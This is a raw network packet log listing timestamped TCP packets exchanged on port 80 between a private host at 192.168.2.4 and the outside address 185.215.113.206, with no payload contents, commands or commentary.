Oct 31, 2024 11:27:25.689008951 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689008951 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689008951 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689008951 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689017057 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689028978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689028978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689028978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689032078 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689045906 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689063072 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689071894 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689090014 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689095974 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689105034 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689111948 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689116955 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689130068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689141989 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689141989 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689155102 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689167023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689169884 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689179897 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689188004 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689193010 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689204931 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689205885 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689229965 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689246893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689258099 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689258099 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689259052 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689270973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689279079 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689282894 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689296007 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689296007 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689308882 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689321041 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689322948 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689333916 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689342022 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689347029 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689363956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689373016 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689377069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689394951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689399958 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689407110 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689416885 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689418077 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689430952 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689440966 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689452887 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689455986 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689471960 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689481020 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689490080 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689492941 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689505100 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689517021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689517975 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689528942 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689541101 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689544916 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689548016 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689554930 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689565897 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689579010 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689589024 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689589024 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689605951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689619064 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689619064 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689631939 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689645052 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689654112 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689657927 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689670086 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689672947 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689683914 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689696074 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689699888 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689714909 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689727068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689728022 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689739943 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689747095 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689755917 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689769030 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689769983 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689780951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689795017 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689800978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689807892 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689819098 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689821959 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.689846992 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.689867973 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.719398022 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.719486952 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.719501019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.719540119 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.719567060 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.766752958 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.766771078 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.766783953 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.766942978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.797867060 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.797885895 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.797899008 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.797944069 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.797981024 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.800350904 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800367117 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800379992 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800394058 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800407887 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800412893 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.800436020 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.800446987 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.800481081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800493002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800507069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800519943 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800520897 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.800544024 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.800565958 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.800653934 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800666094 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800693989 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800699949 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.800712109 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800718069 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.800725937 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800738096 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.800748110 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800754070 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.800764084 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800774097 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.800787926 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.800803900 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.800828934 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800839901 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800852060 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800867081 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.800868034 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.800884008 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.800901890 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.801007986 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801021099 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801031113 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801050901 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.801074028 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.801179886 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801193953 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801208019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801220894 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.801249981 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.801359892 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801373959 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801388025 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801398039 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801398993 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.801410913 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801425934 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.801460028 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.801532984 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801547050 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801559925 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801574945 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.801595926 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.801712036 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801723957 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801737070 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801749945 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.801773071 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.801899910 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801914930 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801925898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801934004 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.801939011 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801942110 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.801955938 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.801975012 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.801991940 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.802021027 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.802047014 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802061081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802073956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802088976 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.802107096 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.802217960 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802233934 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802247047 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802261114 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802264929 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.802274942 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802287102 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802289009 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.802304983 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802318096 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.802331924 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.802335978 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802361012 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.802381039 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.802532911 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802546024 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802556992 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802568913 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802576065 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.802583933 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802598000 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802603006 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.802612066 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802623987 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.802628994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802650928 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.802675009 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.802833080 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.802872896 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803020000 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803033113 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803045034 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803059101 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803061962 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803072929 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803080082 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803087950 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803101063 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803107977 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803118944 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803133011 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803167105 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803342104 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803354979 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803368092 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803380013 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803385019 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803395033 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803400993 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803409100 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803421974 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803431034 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803435087 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803448915 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803451061 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803478956 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803488970 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803492069 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803503990 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803517103 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803529978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803531885 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803546906 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803561926 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803574085 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803667068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803680897 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803705931 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803721905 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803845882 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803859949 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803872108 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803884983 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.803889036 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803905964 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.803930044 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804019928 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804033995 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804045916 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804059029 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804059982 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804073095 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804075956 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804089069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804095984 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804124117 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804333925 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804346085 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804358006 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804369926 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804378986 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804383039 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804394007 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804423094 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804459095 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804471970 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804483891 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804496050 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804496050 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804512024 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804524899 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804524899 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804553986 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804565907 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804622889 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804636955 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804647923 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804661989 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804665089 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804675102 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804677963 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804688931 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804697037 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804725885 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804766893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804780960 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804790974 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804802895 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804805994 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804816961 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804828882 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804831982 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804836035 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.804861069 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.804882050 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.805214882 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805227041 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805242062 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805255890 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.805257082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805273056 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805279970 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.805286884 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805294991 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.805304050 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805315971 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805320978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.805349112 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.805351019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805363894 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805376053 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.805377007 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805391073 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805402994 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.805403948 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805419922 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805433035 CET	80	49757	185.215.113.206	192.168.2.4
